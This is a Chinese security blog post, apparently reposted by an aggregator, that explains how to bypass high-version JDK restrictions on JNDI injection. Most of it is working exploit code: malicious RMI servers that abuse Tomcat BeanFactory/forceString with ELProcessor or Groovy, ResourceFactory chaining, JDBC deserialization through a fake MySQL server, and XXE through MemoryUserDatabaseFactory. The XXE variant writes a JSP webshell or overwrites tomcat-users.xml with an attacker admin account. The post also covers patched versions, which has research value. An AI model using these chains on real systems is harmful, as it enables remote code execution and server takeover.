java-JNDI(二)-高版本绕过

news/2025/3/19 13:45:48/文章来源:https://www.cnblogs.com/LINGX5/p/18780870

JNDI 高版本的绕过

为了防止 JNDI 攻击,Oracle 对 JNDI 的远程类加载漏洞(如 LDAPRMI 协议的远程代码执行(RCE))进行了限制

com.sun.jndi.rmi.object.trustURLCodebase=false
com.sun.jndi.cosnaming.object.trustURLCodebase=false
com.sun.jndi.ldap.object.trustURLCodebase=false

旧版本(如 JDK 8u121 及以下)默认为 true,允许远程类加载。

具体的版本可以看我上一篇文章 java-JNDI 攻击流程 (一) - Ling-X5 - 博客园

低版本 高版本

image-20250315091519695 image-20250315091610953

通过对比我们也可以看到,当 trustURLCodebase 为 true 时,才允许加载 codebase 远程类

绕过原理

主要是因为在 JNDI 查询带特定的 Referenc_Wrapper 对象后,回去用 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 解析,里面调用了 javax.naming.spi.NamingManager#getObjectInstance 方法,而这个方法回去获得 ref 中的工厂,并调用工厂的 getObjectInstance 方法

image-20250317124830846

我们就想到看有没有本地工厂的 getObjectInstance 是可以利用的

JNDI-Tomcat 绕过

还记得我们当时在编写 Exploit 的时候说过,他会先去加载本地的类,本地没有他才会去加载 codebase 指定的远程类

image-20250315094154344

它限制了我们加载远程的方式,那我们可不可以找一个本地的工厂,来实现 RCE 呢?

我们要找到一个工厂类,需要满足一下几个条件:

  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
  • 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例

而恰好 org.apache.naming.factory.BeanFactory 类符合。有了 Factory,我们还需要从 Factory 去拿到一个可以执行命令的实例,且可以被我们控制行为。

BeanFactory+ELProcessor

javax.el.ELProcessor#eval 方法,支持 EL 表达式的执行,可以传入一个字符串,从而实现 RCE。这其实是 BeanFactory 的实现逻辑造成的

BeanFactory 在处理 Reference 时,会检查属性并调用目标对象的 setter 方法。通常,setter 方法的名称是根据属性名推导的(例如属性 x 对应 setX)。但 BeanFactory 支持一个特殊属性 forceString,可以强制指定 setter 方法的名称。

攻击者可以利用这一点,将某个属性的 setter 方法重定向到 eval 方法。

官方当时的介绍是: 新的属性“forceString”接受以逗号分隔的项作为值。每个项要么是一个 bean 属性名称(例如“foo”),意味着该属性有一个 setter 函数“setFoo(String)”。或者该项的形式为“foo = method”,意味着属性“foo”可以通过调用“method(String)”来设置。

导入依赖

<dependency><groupId>org.glassfish</groupId><artifactId>javax.el</artifactId><version>3.0.1-b12</version>
</dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.8</version>
</dependency>

EvilRMIServer

package com.evil;import java.rmi.registry.*;
import javax.el.ELProcessor;
import javax.naming.*;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;public class EvilRMIServer {public static void main(String[] args) throws Exception {// 创建一个RMI注册表,监听1099端口Registry registry = LocateRegistry.createRegistry(1099);// 创建一个ResourceRef对象,指定工厂类为BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory", null);// 添加StringRefAddr,设置forceString属性为"x=eval"ref.add(new StringRefAddr("forceString", "x=eval"));// 添加StringRefAddr,设置x属性,用于执行系统命令ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));// 创建ReferenceWrapper对象,包装ResourceRef对象ReferenceWrapper wrapper = new ReferenceWrapper(ref);// 将ReferenceWrapper对象绑定到RMI注册表中,名称为"Exploit"registry.bind("Exploit", wrapper);// 输出提示信息,表示恶意RMI服务器正在运行System.out.println("Evil RMI server running on port 1099...");}
}

JNDIvuln

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}

image-20250315131751192

基本的执行流程就是

客户端(JNDIvuln)的 lookup()方法会去调用 javax.naming.spi.NamingManager#getObjectFactoryFromReference ( 中间过程就省略了 ),会去从本地记载我们指定的 org.apache.naming.factory.BeanFactory,拿到 BeanFactory 后,执行 org.apache.naming.factory.BeanFactory#getObjectInstance 方法,初始化 javax.el.ELProcessor 对象,利用 forceString 机制,使得 javax.el.ELProcessor#eval 方法执行我们的 payload,实现 RCE

image-20250315132847475

图中展示了关键的参数和方法

Nashorn JavaScript 引擎,可以解析 javascript 脚本,执行命令,不过 Java15 以后,删除了这种引擎。幸运的是,自 Java 9 以来,有一个等效的替代方案。我们可以使用 JShell,使用一下 payload 替代

String payload = "{" +" \"\".getClass().forName(\"jdk.jshell.JShell\")" +".getMethod(\"create\").invoke(null).eval(\"java.lang.Runtime.getRuntime()" +".exec(${command})\")" +"}".replace("${command}", "\\\"" + Config.command + "\\\"");

BeanFactory+groovy

groovy.lang.GroovyClassLoader#parseClass(java.lang.String)

parseClass 使用 Groovy 的编译器(基于 groovy.lang.GroovyShell 和 org.codehaus.groovy.control.CompilerConfiguration)将字符串编译为 Java 字节码。然后会触发类加载,执行我们的恶意代码

GroovyClassLoader 的特殊性:与标准的 ClassLoader.defineClass 不同,GroovyClassLoader 在解析脚本时可能推迟了类的加载和链接步骤,直到需要时才完成。这与传统的 Java 类加载机制(如 Class.forName() 或直接使用 .class 文件)有所不同。

我们先来看一下 groovy.lang.GroovyClassLoader#parseClass(java.lang.String)这个方法能干什么

示例

package com.evil;import groovy.lang.GroovyClassLoader;public class groovyTest {public static void main(String[] args) throws Exception {GroovyClassLoader gcl = new GroovyClassLoader();String script = "class Evil { " +"static { Runtime.getRuntime().exec(\"calc\") } }";Class<?> clazz = gcl.parseClass(script);System.out.println(clazz);
//       clazz.getConstructor().newInstance();}
}

结果

image-20250315164020591

只有类名输出,而没有执行我们的静态代码块。说明他和 defineClass 方法作用很相似,只是把类在内存中做了定义,并没有初始化

我们把注释打开,显示初始化这个类

image-20250315164548087

计算机弹出来了,那我们有没有办法让 groovy.lang.GroovyClassLoader#parseClass(java.lang.String),不仅仅是在内存定义类,还去执行一些方法呢?

有的,兄弟!有的

GroovyClassLoader.parseClass 调用 Groovy 的编译器。编译器支持 @ASTTest 注解,@ASTTest 的 value 闭包是在编译器处理脚本时立即运行,而不是等到类加载或实例化。

于是我们就有了

package com.evil;import groovy.lang.GroovyClassLoader;public class groovyTest {public static void main(String[] args) throws Exception {GroovyClassLoader gcl = new GroovyClassLoader();String script = "@groovy.transform.ASTTest(value={\n" +"    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +"})\n" +"def x\n";Class<?> clazz = gcl.parseClass(script);System.out.println(clazz);
//       clazz.getConstructor().newInstance();}
}

image-20250315170245495

evilGroovyServer

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilGroovyServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=parseClass"));String script = "@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef x\n";ref.add(new StringRefAddr("x",script));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}

JNDIvuln

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}

image-20250315190449355

版本修复

但是 BeanFactory 的这个 forceString 特性最终还是被修复了(也就是被删除了),下面是修复的版本

Tomcat finally modified the BeanFactory in the following versions:

  • 10.1.x for 10.1.0-M14 onwards
  • 10.0.x for 10.0.21 onwards
  • 9.0.x for 9.0.63 onwards
  • 8.5.x for 8.5.79 onwards

ResourceFactory 二次注入

类似的还有 LookupFactory,OpenEjbFactory,JavaBeanObjectFactory 其原理和方法大致都相同。

org.apache.naming.factory.ResourceFactory 工厂类实现了 FactoryBase 类,回去执行 org.apache.naming.factory.FactoryBase#getObjectInstance 方法,

public final Object getObjectInstance(Object obj,          // 要创建的对象的引用(通常是Reference对象)Name name,           // 对象的名称(JNDI命名路径)Context nameCtx,     // 上下文环境(用于解析相对名称)Hashtable<?,?> environment // JNDI环境参数(如安全配置、属性等)
) throws Exception {// 1. 检查输入对象是否为支持的引用类型(如Reference)if (isReferenceTypeSupported(obj)) {Reference ref = (Reference) obj;// 2. 尝试获取已缓存或直接链接的对象(避免重复创建)Object linked = getLinked(ref);if (linked != null) {return linked; // 直接返回已存在的实例}// 3. 初始化工厂对象(用于创建目标资源)ObjectFactory factory = null;RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性// 3.1 如果引用中指定了工厂类if (factoryRefAddr != null) {// 提取工厂类的全限定类名String factoryClassName = factoryRefAddr.getContent().toString();// 3.2 加载工厂类(使用线程上下文类加载器或默认类加载器)ClassLoader tcl = Thread.currentThread().getContextClassLoader();Class<?> factoryClass = null;try {if (tcl != null) {factoryClass = tcl.loadClass(factoryClassName);} else {factoryClass = Class.forName(factoryClassName);}} catch (ClassNotFoundException e) {// 工厂类未找到,抛出命名异常NamingException ex = new NamingException("Could not load resource factory class");ex.initCause(e);throw ex;}// 3.3 实例化工厂类(通过无参构造函数)try {factory = (ObjectFactory) factoryClass.getConstructor().newInstance();} catch (Throwable t) {// 处理实例化过程中的异常(如构造函数抛出的异常)if (t instanceof NamingException) {throw (NamingException) t;}if (t instanceof ThreadDeath) {throw (ThreadDeath) t;}if (t instanceof VirtualMachineError) {throw (VirtualMachineError) t;}// 其他异常包装为NamingExceptionNamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(t);throw ex;}} else {// 3.4 若未指定工厂类,使用默认工厂(由子类实现)factory = getDefaultFactory(ref);}// 4. 使用工厂创建目标对象if (factory != null) {return factory.getObjectInstance(obj, name, nameCtx, environment // 递归调用工厂的getObjectInstance);} else {// 工厂未找到,抛出异常throw new NamingException("Cannot create resource instance");}}// 输入对象不支持,返回nullreturn null;
}

之里面的主要可以产生利用的逻辑,我摘出来看一下

ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get(Constants.FACTORY); // 获取factory属性// 3.1 如果引用中指定了工厂类
if (factoryRefAddr != null) {// 提取工厂类的全限定类名String factoryClassName = factoryRefAddr.getContent().toString();// 3.2 加载工厂类ClassLoader tcl = Thread.currentThread().getContextClassLoader();Class<?> factoryClass = null;if (tcl != null) {factoryClass = tcl.loadClass(factoryClassName);} else {factoryClass = Class.forName(factoryClassName);}
}
else {// 3.4 若未指定工厂类,使用默认工厂factory = getDefaultFactory(ref);
}
// 4. 使用工厂创建目标对象
if (factory != null) {return factory.getObjectInstance(obj, name, nameCtx, environment // 调用工厂的getObjectInstance);
} 

主要就是获取 ref 中的 factory 属性,如果没有,就获取默认的工厂。最后调用获得工厂的 getObjectInstance 方法。这里我们实际上已经可以实现二次注入了,最后还是会去调用 getObjectInstance,只是前边绕了一圈。我们可以利用这一性质去绕过一些黑名单。

factory 属性利用

我们依然可以搭配 BeanFactory 实现 RCE

你可能会觉得绕这么一圈有点没用,其实我们可以使用这个做很多事情,如果开发自己写的过滤条件只是把 BeanFactory 加入了黑名单,我们就可以使用 ResourceFactory 来进行绕过了

代码示例

evilResourceFactory

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilResourceFactory  {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.ResourceFactory", null);ref.add(new StringRefAddr("factory", "org.apache.naming.factory.BeanFactory"));ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script" +".ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval" +"(\"java.lang.Runtime.getRuntime().exec('calc')\")"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}

JNDIvuln

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}

运行

image-20250317150506050

其实我们还可以利用二次注入玩很多东西。

默认工厂利用

我们可以实现 JDBC ATTACK,如果你对 JDBC attack 不熟悉,可以去看 Tri0mphe 师傅的这篇文章:文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区,当然我后边也会讲一些

分析

如果我们没有 set factory 属性,我们会执行 factory = getDefaultFactory(ref); ,org.apache.naming.factory.ResourceFactory#getDefaultFactory 看一下这个方法

protected ObjectFactory getDefaultFactory(Reference ref) throws NamingException {ObjectFactory factory = null;// ref的resourceClass我们就必须设置为javax.sql.DataSource才会进入if的逻辑if (ref.getClassName().equals("javax.sql.DataSource")) {// Constants.DBCP_DATASOURCE_FACTORY的值为org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactoryString javaxSqlDataSourceFactoryClassName =System.getProperty("javax.sql.DataSource.Factory",Constants.DBCP_DATASOURCE_FACTORY);try {// 初始化BasicDataSourceFactory工厂factory = (ObjectFactory) Class.forName(javaxSqlDataSourceFactoryClassName).getConstructor().newInstance();} catch (Exception e) {NamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(e);throw ex;}//javax.mail.Session 没有可利用的点} else if (ref.getClassName().equals("javax.mail.Session")) {String javaxMailSessionFactoryClassName =System.getProperty("javax.mail.Session.Factory","org.apache.naming.factory.MailSessionFactory");try {factory = (ObjectFactory) Class.forName(javaxMailSessionFactoryClassName).getConstructor().newInstance();} catch(Throwable t) {if (t instanceof NamingException) {throw (NamingException) t;}if (t instanceof ThreadDeath) {throw (ThreadDeath) t;}if (t instanceof VirtualMachineError) {throw (VirtualMachineError) t;}NamingException ex = new NamingException("Could not create resource factory instance");ex.initCause(t);throw ex;}}return factory;
}

org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory#getObjectInstance 会去处理 JDBC 连接的配置属性,当 dataSource.getInitialSize() > 0 时 dataSource.getLogWriter() 创建连接。在创建 connect 的时候我们的 url 设置 "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";。触发 ServerStatusDiffInterceptor 连接器的 postProcess 方法,从而触发 JDBC 反序列

image-20250318101946251 image-20250318102011705

这里我们可以用工具生成恶意的 mysql 服务:MySQL Fake Server

image-20250317162444207

我这里的 mysql 版本为 8.0.11

<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.11</version></dependency>

evilResourceFactory

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilResourceFactory  {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.apache.naming.factory.ResourceFactory", null);ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";ref.add(new StringRefAddr("url", jdbcUrl));ref.add(new StringRefAddr("username", "deser_CC31_calc"));ref.add(new StringRefAddr("initialSize", "1"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}

JNDIvuln

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}

成功弹出了计算机

image-20250317164220131

JNDI-JDBC 绕过

BasicDataSourceFactory

我们来了解一下 JDBC 的反序列化

首先反序列化的入口肯定是 readObject()方法,我们首先来看 com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)方法

image-20250317192721927

然后去看有谁在调用 getObject()方法,有没有利用的可能。看到了 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)

image-20250317193556902

调用链基本就找到了

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues↓com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)↓com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)↓java.io.ObjectInputStream#readObject()

而 ServerStatusDiffInterceptor 这个类是一个拦截器,我们发送特定的请求他就会拦截处理请求,自动执行他的 preProcess(执行一个核心方法之前)和 postProcess(执行完核心方法之后

这里我们依然可以用 BasicDataSourceFactory 工厂来触发 JDBC 连接,让 JNDI 服务器查询恶意的 MYSQL 服务器,触发 Gadget 反序列化。

evilJDBC

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilJDBC {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);ref.add(new StringRefAddr("driverClassName", "com.mysql.cj.jdbc.Driver"));String jdbcUrl = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors" +"=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";ref.add(new StringRefAddr("url", jdbcUrl));ref.add(new StringRefAddr("username", "deser_CC31_calc"));ref.add(new StringRefAddr("initialSize", "1"));ReferenceWrapper wrapper = new ReferenceWrapper(ref);registry.bind("Exploit", wrapper);}
}

JNDIvlun

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");} catch (Exception e) {e.printStackTrace();}}
}

同时开启 fake-mysql 服务

image-20250317203814014

看到成功执行了命令

image-20250317203926170

JNDI-XXE 绕过

来到 org.apache.catalina.users.MemoryUserDatabaseFactory#getObjectInstance 这个方法

/*** 根据指定的 Reference 对象创建并返回一个新的 MemoryUserDatabase 实例。* 如果无法创建实例,则返回 null。** @param obj 包含位置或引用信息的对象,用于创建目标对象,可能为 null* @param name 相对于 nameCtx 的对象名称,如果 nameCtx 为 null,则相对于默认初始上下文* @param nameCtx 名称所指定的上下文,可能为 null* @param environment 用于创建此对象的环境,可能为 null* @return 配置好的 MemoryUserDatabase 实例,如果无法创建则返回 null* @throws Exception 如果在创建对象过程中发生异常*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment)throws Exception {// 检查 obj 是否为有效的 Reference 类型,并确保其类名为 "org.apache.catalina.UserDatabase"if ((obj == null) || !(obj instanceof Reference)) {return null;}Reference ref = (Reference) obj;if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {return null;}// 创建 MemoryUserDatabase 实例并根据 Reference 的 RefAddr 值进行配置MemoryUserDatabase database = new MemoryUserDatabase(name.toString());RefAddr ra = null;// 设置数据库的路径名属性ra = ref.get("pathname");if (ra != null) {database.setPathname(ra.getContent().toString());}// 设置数据库的只读属性ra = ref.get("readonly");if (ra != null) {database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));}// 打开数据库并保存(如果非只读)database.open();// 如果数据库不是只读模式,则尝试保存配置if (!database.getReadonly()) {database.save();}return database;}

他这里做完 MemoryUserDatabase 的配置后,执行了 org.apache.catalina.users.MemoryUserDatabase#open 方法,它负责从 XML 配置文件中加载用户、组和角色信息到内存数据库中。我们来看 open 的逻辑

image-20250318121156840

他最后 parse()解析 xml,这里我们实际上已经可以利用 xxe 实现 ssrf 内网扫描了。

ssrf 扫描内网

这里可以简单画一个流程图
image-20250318141938667

恶意的 xml 服务器 JNDI 漏洞服务器(本地)

image-20250318134819390 image-20250318134910088

evilMemory

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/evil.xml"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}

JNDIvuln

package com.lingx5;import javax.naming.InitialContext;public class JNDIvuln {public static void main(String[] args) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:1099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}

利用远程的 xml,让存在 JNDI 的漏洞服务器发送了一个本地请求

image-20250318135157744 image-20250318143208718

实现 RCE

其实利用 XXE 实现 RCE 是很困难的,更多的就是 ssrf 和文件读取的利用,因为 XXE 的 SYSTEM 实体和 ENTITY 声明的主要目的是引用外部资源(文件或 URL)它们的设计目的是读取文件内容或发起网络请求,而不是执行任意的操作系统命令。但是浅蓝师傅还是做到了,让我们跟着师傅的思路复现一下

在解析 XML 的过程中,我们把结果进行了数据填充

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);

它们定义了 如何将 XML 配置文件中的特定 XML 元素映射到 Java 对象 的规则, 简单来说,它们告诉 Digester XML 解析器:

在 XML 中遇到 <tomcat-users> 元素下的 <group><role><user> 元素时,分别使用 MemoryGroupCreationFactoryMemoryRoleCreationFactoryMemoryUserCreationFactory 这些 工厂来创建相应的 Java 对象。

看 MemoryUserCreationFactory(this)它具体干了什么

主要逻辑就是根据解析内容创建 java 对象,然后返回

image-20250318152049758

最后

image-20250318152112011

org.apache.catalina.users.MemoryUserDatabase#open 执行完之后,我们会去执行 org.apache.catalina.users.MemoryUserDatabase#save 方法

image-20250318152520497

这里我们肯定时候要访问外部服务器的,也就是我们的pathname的格式肯定是http://lingx5.dns.army:8000/这样的格式,在进行拼接,所以filenew就是 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000/webapps/ROOT/evil-user.jsp.new

我们可以使用../来调整文件位置(仅是在window),liunx可以去看浅蓝师傅的文章,用到BeanFactory结合文件的工厂创建了形如http://example.com/的文件目录。

使得filenew 变为 D:/JAVA/apache-tomcat-8.5.91/http:lingx5.dns.army:8000../../webapps/ROOT/evil-user.jsp.new

后边代码修改了文件名,把后缀.new去掉了

image-20250318171454724

tomcat7 RCE

evil-user.jsp

在http服务的文件

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
</tomcat-users>

evilMemory

这个时RMI的服务端文件

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(11099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +"./webapps/ROOT/evil-user.jsp"));ref.add(new StringRefAddr("readonly", "false"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}

JNDItomcatvuln

这个我们需要部署到tomcat服务器上去,我是打成war包,部署上去的。因为我在idea上部署,idea会默认改变我的Globals.CATALINA_BASE_PROP的值。

package com.lingx5;import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:11099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}

防止版本依赖的一些问题,我的war包里面就放了一个JNDItomcatvuln文件,打成war包部署到tomcat7中

image-20250319120727539image-20250319115831700

启动tomcat 和 evilMemory(RMI)服务,同时开启我们远程的http服务

image-20250318203313993image-20250319120538755

我们在浏览器访问

http://localhost:8080/JNDItomcat/jndi

远程恶意服务器接收到请求

image-20250319120404735

看到evil-user.jsp成功写入

image-20250319120123081

我们访问 evil-user.jsp

发现弹出计算器成功

image-20250319120917696

版本对比

不过这仅仅实在tomcat7中,可以把我们恶意的属性,就是进行html实体编码的<,“”,>这种特殊字符进行传输。

而从 Tomcat 8 开始,Apache Tomcat 团队为了提升安全性,特别是防御 XXE (XML External Entity) 注入和某些类型的注入攻击,对 XML 解析过程进行了增强。其中一个重要的改变就是 默认启用 HTML 实体编码

  • < 会被编码为 <
  • > 会被编码为 >
  • " 会被编码为 "
  • & 会被编码为 &
  • ' 会被编码为 '

image-20250319121835314

image-20250319121911161

tomcat8 RCE

即使他进行了html的实体编码,我们依然是可以写文件的,如果tomcat服务器开启了manager界面,我们可以利用这一特性把tomcat-user.xml覆盖掉,创建一个我们自定义的管理员用户

tomcat-users.xml

恶意的远程http服务

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="manager-gui"/><role rolename="manager-script"/><user username="lingx5" password="123456" roles="manager-gui,manager-script"/>
</tomcat-users>

JNDItomcatvuln

受害者主机

package com.lingx5;import javax.naming.InitialContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/jndi")
public class JNDItomcatvuln extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) {try {InitialContext context = new InitialContext();context.lookup("rmi://localhost:11099/Exploit");
//            context.lookup("ldap://localhost:1389/cn=exploit,dc=example,dc=com");} catch (Exception e) {e.printStackTrace();}}
}

evilMemory

恶意的RMI服务

package com.evil;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class evilMemory {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(11099);ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase",null, "", "", false,"org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +"./conf/tomcat-users.xml"));ref.add(new StringRefAddr("readonly", "false"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Exploit", referenceWrapper);}
}

开启rmi服务

image-20250319131222317

war包部署到tomcat8中

image-20250319125518422

开启http服务

image-20250319130017622

访问http://localhost:8080/JNDItomcat/jndi,后登录http://localhost:8080/manager/html

image-20250319130402583

成功进入tomcat后台,我们在上传恶意的war包,就可以拿下这台主机的权限了

image-20250319130421545

总结

JNDI的玩法还是有很多,当然我这里也不是所有内容,只是从师傅的文章中挑了些感觉有趣的。不过对于高版本的绕过,基本上原理就是这样的。

参考文章

java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园

JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院

JNDI Mind Tricks | MOGWAI LABS

文章 - 高版本 JNDI 注入-高版本 Tomcat 利用方案 - 先知社区

文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/901501.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tile

dsfTechnorati Tags: gjhgsdhttp://dfdfdfddfdfdfdsfdfdf

